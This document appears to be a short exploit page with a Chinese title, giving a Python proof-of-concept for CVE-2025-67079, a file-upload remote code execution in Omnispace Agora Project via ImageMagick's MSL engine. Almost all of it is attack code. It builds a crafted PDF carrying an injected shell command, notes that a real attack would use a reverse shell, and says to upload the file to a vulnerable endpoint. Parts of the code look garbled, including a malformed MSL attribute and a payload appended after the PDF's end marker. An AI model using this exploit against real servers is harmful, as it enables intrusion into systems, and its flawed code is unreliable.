CVE-2025-67079: Omnispace Agora Project文件上传远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-67079 PoC - Omnispace Agora Project File Upload RCE via ImageMagick MSL # This PoC demonstrates the vulnerability by creating a malicious PDF with embedded MSL script import sys def generate_malicious_pdf(): """Generate a malicious PDF file containing MSL script for ImageMagick exploitation""" # MSL script that will be executed by ImageMagick msl_script = ''' <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="pdf:/MSL_PAYLOAD"/> <get width="height"ura="base-width"/> <resize geometry="new-widthxnew-height"/> <write filename="/tmp/pwned.txt" /> </image> ''' # The actual command to execute (modify as needed) # This example writes to a file; in real attack, this would be a reverse shell or other malicious command command = "| touch /tmp/pwned_by_cve_2025_67079" # Replace placeholder with actual command msl_payload = msl_script.replace("MSL_PAYLOAD", command) # Create malicious PDF with MSL script embedded malicious_pdf = f"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n trailer << /Size 4 /Root 1 0 R >> startxref 196 %%EOF %MSL Injection Point - ImageMagick will process this {msl_payload} """ return malicious_pdf def main(): print("[*] CVE-2025-67079 PoC Generator") print("[*] Target: Omnispace Agora Project < 25.10") print("[*] Vulnerability: File Upload RCE via ImageMagick MSL Engine") # Generate the malicious PDF pdf_content = generate_malicious_pdf() # Save to file output_file = "exploit_cve_2025_67079.pdf" with open(output_file, 'w') as f: f.write(pdf_content) print(f"[+] Malicious PDF created: {output_file}") print("[+] Upload this file to the vulnerable file upload endpoint") print("[+] The ImageMagick MSL engine will execute embedded commands") if __name__ == "__main__": main()